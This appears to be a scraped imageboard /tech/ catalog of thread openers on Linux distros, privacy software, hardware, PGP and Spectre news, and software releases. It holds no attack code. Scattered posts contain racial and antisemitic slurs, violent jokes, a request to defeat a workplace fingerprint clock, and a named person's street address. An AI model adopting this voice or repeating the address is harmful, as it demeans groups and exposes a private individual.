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/tech/ Questions and Support

Bring all your hardware, software and other troubles here.

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Consumer Advice

Looking to buy something but aren't sure what to get? Ask here.

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when will people stop using this shitty service instead of worrying their personal blog will be ddosed for a few seconds?

I can understand online shops needing it but its not worth shelling out to ensure your blog on obscure commodore warez won't go offline for half an hour or some shitty sports fansite.

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I just tried windows 10 and holy shit it's really impressive how the pajeets could fuck up as much as they could, it's probably the worst OS i have ever used i would prefeer running FUCKING! WINDOWS VISTA!!!! over this 200$ shit.

How could anyone willingly use this?

How can Pajeetsoft™ not be bankrupt yet?

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Anyone know of any cloud backup services that allow me to use a bare bones web service API rather than some proprietary desktop application that manages my backups for me?

I like to encrypt my own data before I send so that I can be sure I am the only entity ever that will have access to the contents.

I don't care if it's free or not. I'm willing to pay a reasonable monthly fee for a fast and reliable cloud backup service.

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Was there any particular piece of technology that downgraded throughout the years and was at a higher level lets say in the 80s-90s?

i am talking about anything general like radios,radars,eletronics e.t.c

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The Thirty Million Line Problem

There is 30 million lines of software between the hardware and your programs. All these layers slow everything down and make it buggy and unreliable. The reason it's there is because hardware has gotten to complex and varied. We need to go back to the DOS days where the OS would just launch a program, or amiga where every single game was a bootable disk.

tldr: https://www.youtube.com/watch?v=kZRE7HIO3vk

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Quit shilling this pile of shit


>praises go as innovative

>quotes reddit users to validate their arguments

they themselves don't explain fucking anything. they just quote people

>vim is harmful

>GPL is harmful

>doesn't mention that glibc has recently been cutting huge amounts of unneeded code

>netbsd is harmful

>thinks fucking awk is a replacement for perl/ruby

>zsh, this godsend of a shell, is harmful

Why is this so commonly linked? These people blindly think that ANYTHING that has less lines of code than something else it makes it better.

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Rakudo Perl 6 Thread

Why aren't you using Perl6?




For help visit #Perl6 on irc.freenode.net

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If we had another chance at a character encoding standard, what would you propose?

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80s/90s technology

Post some cool or nostalgic stuff

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What does /tech/ recommend instead of discord?

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my 16yo 4:3 monitor is finally dying


I love it.

it just got a smattering of dead pixels and its growing.

Can I buy a 4:3 somewhere else? or a 5:4? I fucking hate widescreen displays and can't shell out $1000+ for a screen.

How do I save it, if possible??? Running at 1024x768 75fps.

pic related.

Benq fp537s

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Why is Intel fucking up so much while AMD is god.

This couldn't have happened without CIA niggers.

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Retroshare thread!

Retroshare is a p2p program providing email, chat rooms, file sharing, forums, channels, over fully encrypted tunnels. It can replace most things you need to do online. Find it at http://retroshare.net/ or through your distributions package manager. Retroshare has gotten many new features recently.

Retroshare supports full hidden service mode. When you get to the profile creation popup don't use the default. Instead click the advanced button and then configure your tor hidden service. This adds another layer of encryption and provides anonymity. We have a chatroom on retroshare right now. Come try it out!


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Why do (You) think there are so few women in programming?

Is it really because of a sexist and unwelcoming atmosphere?

Most nerds would love to have a woman among them right?

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What are some arguments in favour of privacy-respecting and libre software?

What are some arguments in favour of software and services such as amazon, that provide a better service in exchange of your soul?

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GNOME removes features again


I seriously hate GNOME

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Terry A. Davis

Hobo in Portland Edition

>currently in Portland

>currently uploading videos daily through local library

His YouTube channel:


He should be able to receive mail sent to this address:

>Terrence A. Davis

>650 NW Irving St.

>Portland, OR 97209

His e-mail address (you can send him money via PayPal):


IRC channel: #templeos-irc on Rizon beware of tsheikhs and kenster

Older threads:




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Space Thread

Let's have a bread to discuss space tech.

Will the SABRE bring man closer to constructing permanently inhabited Space Colonies?

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This is a very sad day for the internet.

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/ipfs/ - IPFS Thread #2

Last thread (>>793208) doesn't seem to be bumping anymore




>>Add options for record count and timeout for resolving DHT paths (ipfs/go-ipfs#4733)

>>Add low power init profile (ipfs/go-ipfs#4154)

>>Add Opentracing plugin support (ipfs/go-ipfs#4506)

>>Add make target to build source tarballs (ipfs/go-ipfs#4920)


>>Add BlockedFetched/Added/Removed events to Blockservice (ipfs/go-ipfs#4649)

>>Improve performance of HAMT code (ipfs/go-ipfs#4889)

>>Avoid unnecessarily resolving child nodes when listing a sharded directory (ipfs/go-ipfs#4884)

>>Tar writer now supports sharded ipfs directories (ipfs/go-ipfs#4873)

>>Infer type from CID when possible in ipfs ls (ipfs/go-ipfs#4890)

>>Deduplicate keys in GetMany (ipfs/go-ipfs#4888)

tl;dr for Beginners

>decentralized P2P network

>like torrenting, but instead of getting a .torrent file or magnet link that shares a pre-set group of files, you get a hash of the files which is searched for in the network and served automatically

>you can add files to the entire network with one line in the CLI or a drag-and-drop into the web interface

>HTTP gateways let you download any hash through your browser without running IPFS

>can stream video files in mpv or VLC (though it's not recommended unless the file has a lot of seeds)

How it Works

When you add a file, the files are cryptographically hashed and a merkle tree is created. These hashes are announced by the IPFS client to the nodes in the network. (The IPFS team often describes the network as a "Merkle forest.") Any user can request one of these hashes and the nodes set up peer connections automatically. If two users share the same file then both of them can seed it to a third person requesting the hash, as opposed to .torrent files/magnets which require both seeders use the same file.


>Is it safe?

It's about as safe as a torrent right now, ignoring the relative obscurity bonus. They are working on integration with TOR and I2P. Check out libp2p if you're curious.

>Is it fast?

Finding a seeder can take anywhere from a few seconds to a few minutes. It's slowly improving but still requires a fair bit of optimization work. Once the download starts, it's as fast as the peers can offer, just like a torrent.

>Is it a meme?

You be the judge.

It has implementations in Go (meant for desktop integration) and Javascript (meant for browser/server integration) in active development that are functional right now, it has a bunch of side projects that build on it, and it divides important parts of its development (IPLD, libp2p, etc) into separate projects that allow for drop-in support for many existing technologies.

On the other hand, it's still alpha software with a small userbase and has poor network performance.

Websites of interest


Official IPFS HTTP gateway. Slap this in front of a hash and it will download a file from the network. Be warned that this gateway is slower than using the client and accepts DMCAs.


Pomf clone that utilizes IPFS. Currently 10MB limit.

Also hosts a gateway at gateway.glop.me which doesn't have any DMCA requests as far as I can tell.


IPFS index, has some links (add ipfs.io/ before to access without installing IPFS)

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how can we actually make things better?

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Talos II lite comming

> For those that have been interested in the Talos II POWER-based system that is fully open-source down to the firmware but have been put off by its cost, Raptor Computer Systems today announced the Talos II Lite that is a slightly cut-down version of the Talos II Workstation.

> The Talos II Lite is still a very competent beast of a system and features a single POWER9 CPU socket, EATX chassis, 500W ATX power supply, and is sold as a barebones package. The Talos II Lite motherboard supports up to the 22-core POWER9 CPU, eight DDR4 ECC RAM slots, one PCI Express 4.0 x16 slot, one PCI Express 4.0 x8 slot, dual Gigabit Ethernet, four USB 3.0 ports, and one USB 2.0 port.

> The Talos II Lite is expected to begin shipping in July. For their pre-ordering, the bare chassis (motherboard + PSU + case + heatsink) is $1,399 USD while a 4-core POWER9 CPU is an additional $375, the eight-core CPU $595 USD, 18-core CPU $1375, and the 22-core model is $2575 USD. Besides the base chassis and POWER9 CPU expendature, there is also the DDR4 ECC Registered memory and any other peripherals desires for your libre system.

> While it's still a significant chunk of change, the $1,399 USD bare chassis is quite the markdown compared to the $4,925.00 price-tag on the Talos II Secure Workstation (that price does include two 4-core POWER9 CPUs). More details on the Talos II Lite system at RaptorCS.com. We should be getting remote access soon to the Talos II Lite for some fresh POWER9 comparison benchmarking.


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Why haven't you installed Void on your PS4 yet /tech/?

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Fuck. Is Palemoon compromised or is NoScript actually unsafe?

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GNU Receives Cease and Decist Over the Letter "T"


Pretty much, some eurocucks trademarked the letter "T" and threatened to sue over it.

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Switching Accounts to GDPR Countries

>change old Facebook settings so that I now live in Germany

>request account deletion


>they're forced to delete my shit for real?

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The phone market is garbage, we're basically left with the choice between cancer and aids.

why isn't there a 3rd option? where is Gentoo for phones?!

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Difference between VPN's, Proxies and SSH Tunnel?

In a deep web video (deep web story on youtube), i heard ssh tunnels is the most secure and 99% of VPN's are botnets etc etc. Is this true?

Also, where do i get a free VPN? I'm not paying for shit.

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FOSS Discord Clone


Seems some people are making a clone of Discord, but FOSS. They also seem to be behind GitGud and Mixtape. I saw a familiar name, Odilitime (works on Endchan?). Seems like a good project.

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>used to be pretty reliably third or fourth

>now can barely muster enough to be tenth

What the fuck happened to you guys? I don't get around here all that often but is it just that you guys' hotpockets have been as dogshit as the hotpockets on all the rest of the boards in the last year or two? What killed you guy's discussion?

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What in the everlasting fuck is it with modern websites?!

>cookie warnng popup

>newsletter popup

>download our app popup

>take a survey popup

>pls register account popup

99% of frontend developers deserve to be stabbed, hanged, shot, dismembered and shitted on at this point.

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ITT: silly ideas we have

I will start:

Why do we keep writing programs in plain ASCII, in text editors that come straight out of the 80's? Why don't we experiment programming without writing text? Imagine an editor where, instead of writing for loops, you spawn blocks with shortcuts? This would probably make programming much faster, as you arrange the logic much more visually. No syntax errors, fewer logic errors.

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How would I bypass a cheap ($200 or so) fingerprinting machine used to check employees' hours worked?

My company just got told to start using it from overseas headquarters and my managers abhor it. Many thanks to someone that can offer a solution.

I'm guessing something like using hot glue to take a mold of the fingertip wouldn't work.

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What would happen if Reddit made a internet bill?

Well, now we know!


>claims to protect userdata

<instead is another law to destroy startups and the internet

Thanks !

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Tech /meetup/ thread

Who here wants to meet up, form a social club, or just hang out? I've been wanting to meet fellow computer hobbyists for a while and it seems hard to find. I thought that I should just make a thread.

I am located in Springfield, OR at the moment. Anyone in Oregon or The Pacific Northwest?

No idea what we'd do other than swap software and eat though. LAN Party? Talk about systemd? Compare popfurs and fetishes? Just meet up, and we'll go from there.

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Cicada 3301 thread

Dump your ideas and techniques for ARGs here.




Ideas: PGP, Prime cracking, Steganography

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The author of 7zip doesn't compile his binaries with ASLR because the binaries are smaller. Haha wtf? People still use 7zip after that? It's probably full of security vulnerabilities.


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OpenPGP broken, EFF recommends abandoning it.

>Don’t panic! But you should stop using PGP for encrypted email and switch to a different secure communications method for now.

>A group of researchers released a paper today that describes a new class of serious vulnerabilities in PGP (including GPG), the most popular email encryption standard. The new paper includes a proof-of-concept exploit that can allow an attacker to use the victim’s own email client to decrypt previously acquired messages and return the decrypted content to the attacker without alerting the victim. The proof of concept is only one implementation of this new type of attack, and variants may follow in the coming days.

>Because of the straightforward nature of the proof of concept, the severity of these security vulnerabilities, the range of email clients and plugins affected, and the high level of protection that PGP users need and expect, EFF is advising PGP users to pause in their use of the tool and seek other modes of secure end-to-end communication for now.

>Because we are awaiting the response from the security community of the flaws highlighted in the paper, we recommend that for now you uninstall or disable your PGP email plug-in. These steps are intended as a temporary, conservative stopgap until the immediate risk of the exploit has passed and been mitigated against by the wider community. There may be simpler mitigations available soon, as vendors and commentators develop narrower solutions, but this is the safest stance to take for now. Because sending PGP-encrypted emails to an unpatched client will create adverse ecosystem incentives to open incoming emails, any of which could be maliciously crafted to expose ciphertext to attackers.


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Music for programming

What do you computer nerds listen to while writing programs? I'm looking for stuff that isn't distracting, and doesn't have any shitty vocals ruining my train of thought.

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How do you cope with your internet footprint?

I have dozens of account from different websites and i write all of my accounts to notebook with password-name-e mail etc. And now i feeling like shit cause i am literally swiming in botnet and i think i should clean some of them but i cant delete some accounts and i dont know where to start??

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you're at a GNU/Windows conference walk into elevator fagioli waddles in it's really him he's ea

you're at a GNU/Windows conference

walk into elevator

fagioli waddles in

it's really him

he's eating a footlong chicken sub from subway with one hand

he immediately presses the door close button and then the top floor button with the other

"This should get us there alright"

he farts loudly and very wetly as you're starting to go up

starts giggling to himself awkwardly

quickly finishes the rest of his sandwich

pulls out his phone with his ranch covered hands

starts taking selfies

you can see everything he's doing on his phone

he starts posting about what just happened on twitter

46 more floors to go

what would you do?

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Studying and learning

Do any of you guys have any technology-related resources for studying and learning? I mean like taking notes from lectures and text files. Learning with technology thread I guess.

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[devuan] Devuan "ASCII" 2.0 Release Candidate

Dear Init Freedom Lovers,

Once again the Veteran Unix Admins salute you!

We are happy to announce that the Devuan 2.0 ASCII Release Candidate

is now available thanks to the support, feedback, and collaboration of

the Devuan community. Devuan 2.0 ASCII Stable will be following soon.

The Devuan 2.0 ASCII RC installer now offers a wider variety of

Desktop Environments including XFCE, KDE, MATE, Cinnamon, LXQT (with

others available post-install). In addition, there are options for

"Console productivity" with hundreds of CLI and TUI utils, as well as

a minimal base system ideal for servers.

When installing from ISO, the expert install option offers a choice of

SysVinit and OpenRC. Official ready-to-use Devuan 2.0 ASCII RC images

are available for dozens of ARM boards and SOCs, including Raspberry

Pi, BeagleBone, OrangePi, BananaPi, OLinuXino, Cubieboard, Nokia N900,

and several Chromebooks, as well as for Virtualbox/QEMU/Vagrant.

The desktop-live images are recommended for users to explore and

easily install Devuan 2.0 ASCII RC and also for the press to review

the default Xfce desktop.

The minimal-live image provides a full-featured console-based system

with a particular focus on accessibility.

Devuan developers have already started working on the third Devuan

release codenamed Beowulf (Planet nr. 38086). Preliminary installer

images should be ready for testing soon.

## Download

Devuan 2.0 ASCII Release Candidate images are available for download at:


and from the ISO mirrors listed at:


The latter URL also includes information about the official Devuan


## Upgrade

Upgrade paths from Debian Jessie, Devuan Jessie, and Debian Stretch

are available. Please see the instructions at:


The following will be enough to upgrade if you are already using

Devuan ASCII Beta: apt-get update && apt-get dist-upgrade

## Derivatives

The Devuan project is about providing a reliable universal base for

derivatives to build on its foundation. These recent Devuan

derivatives deserve special recognition:

Maemo Leste is a new ASCII-based derivative succesfully ported on a

number of mobile phones like the Nokia N900, N950, Motorola Droid 4,

Allwinner tablets and more. https://maemo-leste.github.io/

DecodeOS is another ASCII-based derivative targeting micro-service

usage on anonymous network clusters. It includes original software

developed to automatically build p2p networks as Tor hidden service

families. https://decodeos.dyne.org/

heads, the libre privacy distro previously based on ASCII, continues

its development and has already moved forward to Beowulf as its new

base. https://heads.dyne.org

More Devuan derivatives can be found at:


## Contact

Mailing list: https://mailinglists.dyne.org/cgi-bin/mailman/listinfo/dng

IRC: #devuan #devuan-dev (Freenode)

Forum: http://dev1galaxy.org

Press contact: freedom@devuan.org

Bug tracker: https://bugs.devuan.org

Popularity contest: https://popcon.devuan.org

## Appreciation

We wish to thank all of you for the incredible support given to this

development effort, which continues to make Devuan a useful and

reliable base distro as well as a pleasant and cooperative community.

To support the Devuan project: https://devuan.org/donate

Financial reports for the year 2017 are available for download from

the same page.

happy hacking ;^)

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Best Firefox fork?

Waterfox and Pale Moon are spyware and IceCat is incredibly slow for me as well as lacking quite a few add ons I use, is IceWeasel any good?

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Freenet and other alternative darknet platforms

Anyone here use Freenet? it's very fast. The security vulnerabilities are worth hesitation, however. Perhaps its lack of use and maybe lack of surveillance makes up for that?

By alternatives, I mean alternatives to Tor. I like Tor, but it could be shut down by ZOG in an instant and then we'd be left with our cocks in our hands, gents.

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My children keeps asking for me to install Windows on the computer so that they can play other video games that aren't supported by Linux/wine. I have told them before but they keep asking. Should I beat them? I need to get the Microsoft demons out of them. Is that the only choice? Beat them to an inch of their lives?

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Apple Proposes Emojis of Disabled People


Who is actually going to use these?

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Announcing Rust 1.24

The Rust team is happy to announce a new version of Rust, 1.24.0. Rust is a systems programming language focused on safety, speed, and concurrency.

This release contains two very exciting new features: rustfmt and incremental compilation!

For years now, we’ve wanted a tool that automatically can reformat your Rust code to some sort of “standard style.” With this release, we’re happy to announce that a preview of rustfmt can be used with 1.24 stable.

Back in September of 2016 (!!!), we blogged about Incremental Compilation. While that post goes into the details, the idea is basically this: when you’re working on a project, you often compile it, then change something small, then compile again. Historically, the compiler has compiled your entire project, no matter how little you’ve changed the code. The idea with incremental compilation is that you only need to compile the code you’ve actually changed, which means that that second build is faster.

As of Rust 1.24, this is now turned on by default. This means that your builds should get faster! Don’t forget about cargo check when trying to get the lowest possible build times.

This is still not the end story for compiler performance generally, nor incremental compilation specifically. We have a lot more work planned in the future. For example, another change related to performance hit stable this release: codegen-units is now set to 16 by default. One small note about this change: it makes builds faster, but makes the final binary a bit slower. For maximum speed, setting codegen-units to 1 in your Cargo.toml is needed to eke out every last drop of performance.



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From the aritcle:

News has just started spreading that researchers have sighted another eight Spectre like vulnerabilities in Intel processors, all resemble Spectre, four of them are critical. The new vulnerabilities are grouped and named as Spectre-ng. The newly discovered vulnerabilities would make it really easy to exploit a host from a simple VM.

German c't / Heise reports and breaks the news today, as the new vulnerabilities have not been made public just yet. There would be 'no doubt' that these are real vulnerabilities. While technical details are missing, the attack scenarios resemble close to what the Spectre vulnerabilities are.

Currently, most at risk are shared hosting providers, once you have access to your rented server-container, you could exploit the processor to retrieve secure data. All eight vulnerabilities share the same design problem that the "Meltdown and Spectre" vulnerabilities detailed as well - they are, so to speak, Spectre Next Generation ergo Spectre NG. c't mentions they have concrete information about Intel's processors and their patch plans. However, there are some indications that other processors are affected as well, at least some ARM CPUs are also vulnerable to some extent. Further research into whether and to what extent the AMD processor architecture is vulnerable at (if at all), is not yet known.

Intel is reportedly actively and nervously working on Spectre NG patches behind the scenes; other patches are developed in collaboration with the operating system manufacturers (Microsoft / Linux etc). When exactly the first Spectre NG patches and firmware updates will become available is not yet clear. According to information, Intel is planning at least two patch waves: a first one should start in May; a second is currently scheduled for August. For at least one of the Specter NG patches is already a specific date as it was Google's Project Zero that has found one of the vulnerabilities, on May 7 - the day before the Windows Patchday - the 90-day warning period expires. So it's likely that when the first patch would be released for Microsoft Windows. Microsoft is preparing CPU patches: they appear to be in the form of optional Windows updates, and not so much microcode updated (firmware). The PC motherboard and server manufacturers probably need too long for BIOS updates.

Intel classifies four of the Specter NG vulnerabilities as "high-risk"; which in Intel language is translated as: super dangerous. The danger of the other four is rated as medium. According to c't/Heise, Specter-NG risks and attack scenarios are similar to those of Specter - with one exception. C't calls the Intel vulnerabilities and their procs a Swiss Cheese due to the many security holes.



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Blazechan Thread #4: Back in Business


Live instance (with streaming updates) at: https://nextchan.org/

Blazechan is the highly-extensible blazing-fast imageboard software. It is designed to perform well and be feature-packed. Its power comes from its extension API which provides a stable and flexible way to add features.

Recent updates:

>Upcoming: theme support

>LIVE: Streaming thread updates (more info below)

>Posting code refactor to make programmatic posting possible (extensions running as bots to make automatic posts)

>Many pending bugfixes incl. crash fixes

Streaming updates: uses WebSockets to fetch thread updates instantly. Not only does it fetch new posts, it also fetches post edits, thread status changes and post deletions.

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>Tl;DR: AMT is remotely vulnerable via default passwords

Tech was right again!

Sorry I keep posting ET; they're just my favorite site

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I have a large music collection. Some of it's in Genre Folders followed by Artist Folders. Some of it's in Album folders scattered about, Some of it's loose files.

I need something to organize this shit based on metadata (something not every file has). I remember using iTunes a long ass time ago and it had a feature where it could move your library to the iTunes "Media" directory and automatically organize the directory structure for you (along with missing metadata).

Is there anything like this for GNU/Linux? It would be impossible for a human to do in my case.

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Purism got a (((courtesy request))) from intel to stop

> Purism has been working on reverse-engineering the Intel Firmware Support Package (FSP) module but it looks like that work may have taken a turn.

> A Phoronix reader tipped us off this morning that the Intel FSP reverse-engineering information made public by Purism has now been retracted. The past several months Purism has been working on reverse-engineering the Intel FSP to free the system further to run on only open-source code rather than still having the Intel binary-only module paired with Coreboot. Their big focus this year has been on figuring out the actual silicon initialization code inside the FSP. Purism's Youness Alaoui was very close to finding out this information at the start of April and he wrote a lengthy blog post outlining his reverse-engineering work.

> But as we were informed this morning by a sharp-eyed reader, that post has now been removed:

>> 2018-04-23 update: after receiving a courtesy request from Intel’s Director of Software Infrastructure, we have decided to remove this post’s technical contents while we investigate our options.

> That same individual also pointed out the repository where they had been working on their FSP code has also been taken offline. That's about all we know for now, but will update if/when we hear more.

Article: https://www.phoronix.com/scan.php?page=news_item&px=Purism-FSP-RE-Disappear

Archived sites taken from the forum comments: https://web.archive.org/web/20180421130723/https://code.puri.sm/kakaroto/FSP/src/master/fsp_m_init.c





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Spy vs. Spy

What are ways of detecting bugged or pwnd devices? Hardware or software, spyware or malware. Any and all.

It seems like using a sniffer (like wireshark, MITMproxy) to check for suspicious outgoing packets is the most effective option. What other techniques are there?

>inb4 obligatory cynical reply that doesnt contribute to the thread

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Is BASIC still worth learning?

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So what is the most reliable, secure, and tried and true encryption method available? What is the best software for this in the current year+2

I've heard truecrypt has been compromised years ago, but heard that old versions of it are still secure and unbreakable. does anyone know the cutoff version for truecrypt before it became compromised? i've been saving truecrypt installation files for years. some people suggest bitlocker but an encryption program is only as good as the company that made it, and i trust microsoft about as much as a trust the NSA.

What do you guys use and why do you use it?

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What is your opnion on current state of robots?

Do you have experience with robot pets?

What is the state of the art? Some time ago the best ones where Cozmo and Sphero. I'm half thinking of buying one, do they get old quickly?

How do you think they will evolve in the future? Would they replace cats and dogs?

Recently the guys behind silicon sex dolls are talking about animatronic sex dolls

https://www.youtube.com/watch?v=3880Trwl-AE [Embed]

Would you?

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void linux a shit


Use void they said, it's what arch should be they said.

Void users BTFO

install gentoo

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Home IC Fab

Why aren't you fabricating your own IC's /tech/?

This neet http://sam.zeloof.xyz/first-ic/ did all the research necessary to understand photolithography and set up his own fab in his parents garage. In a 66 step process he produces amplifier chips with an 80% yield. It takes him about 12 Hours per run.

He made a number of videos explaining the process and they seem to be of decent quality considering he claims to have only completed HS and no post-secondary.

In any case its definitely interesting and worth looking into if you want to escape the botnet.

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Matrix Chat Protocol

Matrix is an open standard for inter-operable, decentralized, real-time communication over IP. It can be used to power Instant Messaging, VoIP/WebRTC signalling, Internet of Things communication - or anywhere you need a standard HTTP API for publishing and subscribing to data whilst tracking the conversation history.

Matrix defines the standard, and provides open source reference implementations of Matrix-compatible Servers, Clients, Client SDKs and Application Services to help you create new communication solutions or extend the capabilities and reach of existing ones.

>What is it

Matrix is a FreeSource federated chat protocol with features similar to Discord, introduced in 2014.

Federated means that you can host your own homeservers and join chatrooms/channels hosted on other servers . This is similar to sending emails from Gmail to Yahoo or placing phonecalls from Verizon to Softbank.

>Is it safe

You can encrypt your messages with a key that's only ever stored on your device, so you don't even necessary need to trust the chat servers.

This feature is currently in Beta.

>What's the advantage over IRC

You can post images, videos, upload files and you don't need to run a client or relay server to remain online. Chat logs are served automatically should the room owner choose to enable them.

Servers can also enable an IRC-bridge feature which allows you to join IRC networks, like Rizon, using the server as a persistent relay.

Separate from this, there is also support for mirroring your existing IRC channels into a Matrix Room in order. This creates a chat room that can be accessed from either IRC or Matrix with all the messages posted from either available to everyone.

>What's the advantage over Discord

Matrix is for Straight People.

You also get better security, ability to have a nigger-hating room without being banned, and ability to run a client of your choice on any platform, and the ability to choose your own server.

>What clients are currently available?

A list of popular clients are available at https://matrix.org/docs/projects/try-matrix-now.html

You can also try the service as a guest through the Riot webapp.

>Does 8Chan have a room?

Unofficially at https://riot.im/app/#/room/#8chan:matrix.org.

An official room could allow integration with #8chan@rizon.net such that you can chat on any service. This requires permission from the admin of the IRC channel.

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Talos II computers started shipping

TalosII ppc64el computers started shipping here's an unboxing by tenfourfox: https://tenfourfox.blogspot.com/2018/04/unboxing-talos-ii-its-here.html?m=1

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/dgg/ - DeGoogle General

Friendly reminder that if you're a person who respects their individual privacy and freedom, there is no reason to be using the products created by the botnet that is the Google company.

There is a plethora of options available for you to replace your Google apps that are lighter, faster and better in general, including respect for freedom and privacy.

>search engine?

SearX, DuckDuckGo, StartPage, Yandex (Soviet Botnet)


Pale Moon, Waterfox, Brave, Vivaldi


Self Host, cock.li, Proton Mail, Hotmail (Still Botnet) Yandex (Soviet Botnet)

>cloud storage?

Syncthing, ownCloud, Nextcloud

app store?

F-Droid, Yalp for Play Store front end


NewPipe for mobile, not signing in on desktop


XMPP, Signal.


Nextcloud, ownCloud, RadiCAL,


NextCloud, keep it in your emails.


RSS client, Librenews

List of Software you can Self-Host


NextCloud Providers


OwnCloud Providers,


WebMail Comparison


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>be me

>be using proxy

>fuckyeah I'm 1337

>googling song lyrics

>"displaying results from my hometown"

what the fuck? How does it know? Should I even try to cover my footprint anymore or am I jerking myself off while only wasting my time?

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Web Frameworks

What is your favorite web development framework?

I love Ruby on rails

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Cannon Lake is stillborn

Intel's 10nm is out in an underwhelming trash Lenovo laptop. Dual core 2.2GHz (shit clock), no AVX512 and no iGPU. 15W draw but expect to see those power savings eaten up with a third-party power hog graphics unit. No indications of anything substantial on the horizon for 10nm. Meanwhile most of Intel's big guns are stuck on 14nm with Meltdown (let alone Spectre) still looming over them. 7nm AMD is nipping on Blue's heels and their silicon is certainly in a position to blow out those old 14nm parts and probably the new stuff as well if this release is any indication. What the fuck happened to Intel.


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The Selfish Ledger - Leaked Google Social Manipulation Program.

Google is more evil than you can imagine.

https://www.hooktube.com/watch?v=QDVVo14A_fo (the leaked video itself)

https://www.theverge.com/2018/5/17/17344250/google-x-selfish-ledger-video-data-privacy (Attempts to archive this article via archive.is and archive.today have failed: http://www.freezepage.com/1526683911XGGNEPMSOT)



> The video was made in late 2016 by Nick Foster, the head of design at X (formerly Google X) and a co-founder of the Near Future Laboratory. The video, shared internally within Google, imagines a future of total data collection, where Google helps nudge users into alignment with their goals, custom-prints personalized devices to collect more data, and even guides the behavior of entire populations to solve global problems like poverty and disease.

> When reached for comment on the video, an X spokesperson provided the following statement to The Verge:

< “We understand if this is disturbing -- it is designed to be. This is a thought-experiment by the Design team from years ago that uses a technique known as ‘speculative design’ to explore uncomfortable ideas and concepts in order to provoke discussion and debate. It’s not related to any current or future products.”

> Titled The Selfish Ledger, the 9-minute film starts off with a history of Lamarckian epigenetics, which are broadly concerned with the passing on of traits acquired during an organism’s lifetime. Narrating the video, Foster acknowledges that the theory may have been discredited when it comes to genetics but says it provides a useful metaphor for user data. (The title is an homage to Richard Dawkins’ 1976 book The Selfish Gene.) The way we use our phones creates “a constantly evolving representation of who we are,” which Foster terms a “ledger,” positing that these data profiles could be built up, used to modify behaviors, and transferred from one user to another:

< “User-centered design principles have dominated the world of computing for many decades, but what if we looked at things a little differently? What if the ledger could be given a volition or purpose rather than simply acting as a historical reference? What if we focused on creating a richer ledger by introducing more sources of information? What if we thought of ourselves not as the owners of this information, but as custodians, transient carriers, or caretakers?”


> The so-called ledger of our device use — the data on our “actions, decisions, preferences, movement, and relationships” — is something that could conceivably be passed on to other users much as genetic information is passed on through the generations, Foster says.

> Building on the ledger idea, the middle section of the video presents a conceptual Resolutions by Google system, in which Google prompts users to select a life goal and then guides them toward it in every interaction they have with their phone. The examples, which would “reflect Google’s values as an organization,” include urging you to try a more environmentally friendly option when hailing an Uber or directing you to buy locally grown produce from Safeway.

> Of course, the concept is premised on Google having access to a huge amount of user data and decisions. Privacy concerns or potential negative externalities are never mentioned in the video. The ledger’s demand for ever more data might be the most unnerving aspect of the presentation.

> Foster envisions a future where “the notion of a goal-driven ledger becomes more palatable” and “suggestions may be converted not by the user but by the ledger itself.” This is where the Black Mirror undertones come to the fore, with the ledger actively seeking to fill gaps in its knowledge and even selecting data-harvesting products to buy that it thinks may appeal to the user. The example given in the video is a bathroom scale because the ledger doesn’t yet know how much its user weighs. The video then takes a further turn toward anxiety-inducing sci-fi, imagining that the ledger may become so astute as to propose and 3D-print its own designs. Welcome home, Dave, I built you a scale.

This is literally Metal Gear Solid 2's S3 program.


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Say you're trying to perform the same sequence of edits on a bunch of images, and don't want to manually open them, and do the same thing over and over again like an autist. Whats the best approach?

I tried search this crap up and all I find are shitty tutorials for making Gimp plugins, which is not what I'm trying to do.

I'd like to make some sort of script that would automatically take all the images in a folder, and process them with a click of a button. What I hoped to find was some kind of library that allows you to write a script of Gimp functions.

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Online Spyware Watchdog

Hi /tech/, it's been a while since the last thread about this project, so I thought I would make a new thread because I've been more active in editing the website, and I have more free time now.

The Online Spyware Watchdog is a website I have been working on, on and off for a while, you can visit it here:


This is a website that is supposed to be a resource for learning about spyware- software that collects information about its users. It basically exists right now as a collection of articles that describe specific software, assigns it a "Spyware Score", and then has a detailed explanation of how that software spies on you. The idea of the website is that it's a living document, and that new articles and changes to existing articles are contributed to the website over e-mail. So, it's supposed to be a place on the internet that consolidates all the information about how a certain program is spying on you into one article- you'll notice that if you want to find out all of the ways that a program like Discord spies on you, the information is spread out across the privacy policy and several threads and forum posts that explain other spyware features that the privacy policy doesn't mention. This website is supposed to have a synopsis of all of that information so that people can be more aware of it.

Lately, the website has been getting a lot of traffic, a lot more than it was getting earlier, I think this is because a few weeks ago RMS created a page about why Discord is bad on his website linking to an article on the website: https://stallman.org/discord.html And then there was the controversy about Discord among /pol/ users which happened more recently which probably drove a lot of traffic to the site as well. The website has had almost 40k total hits when i'm writing this. So since a lot of people are looking at the site, I thought I would fix it up a little (I've been working on it more and adding new articles lately) and make a new thread for it.

You can read my earlier thread about this project here:


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What's the general consensus on ReactOS? Kind of seems like a "worst of both worlds" thing to me (having done little research).

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um hi guys how do i install windows

asking for a friend

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Anyone else hyped for Ryzen 2?

I definitely am, replacing my 4670k system with a 2700X. Moar coarz here I come!

Too bad RAM prices are fucked right now, oh well.

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What software does the world need?

What software should we have at [current year] but for some reason don't? Why aren't you working on making them a reality?

- Attractive FOSS frontend for Matrix, so we can say final goodbye to Discord.

- Programs that can properly replace Photoshop and other adobe software. As a piece of software Gimp and Krita and Inkscape and the likes are just completely inferior in every way other than some minor advantages.

- Some kind of online documents/spreadsheets that can replace google docs. Ideally combined with git mechanics and syntax highlighting if you add code. Even better if it can double as a wiki-like website.

- Imageboard software that's fast, has all the hip features you could ask for, fully functions without js, and isn't made with PHP or other pajeet tools.

- Non-shit frontend for NNTPchan.

- A web browser that isn't dependent on firefox or chrome, respects your privacy, and doesn't send any information anywhere without you knowing. Ideally it should have privacy tools like uMatrix out of the box.

- Something like wordpress that allows you to make easily editable websites for people, except it's less shit and includes common features out of the box so you don't have to download 50 plugins for simple things.

I've been prototyping some programs with the hope of competing with adobe's shit in some distant future, but too early to show yet.

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bitcoins are scam


>just utterly sick to my stomach for losing 13+ BTC.

>I have now lost my entire life savings.

>Please don’t completely bankrupt me.

>Worst day of my life. No idea what I’m going to do.

>I’m praying the culprits have half a heart to return some of it...

>Please, I’m begging you, whoever you are.

I am laughing hard

Some idiot put his life saving (100 000$+) into bitcoins and got hacked. Now he's crying and begging to have his coins returned

This is how coiners end...

How can bitcoin replace cash or banks if someone can just steal all your coins from your PC? The guy was stupid, but so are most people. How do you expect them to use cryptocoins?

Bitcoin won't be used by ordinary people, it will die. Bitcoin is huge bubble

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Let's make Discord conspiracy theories or something

So, here comes a dumb question.

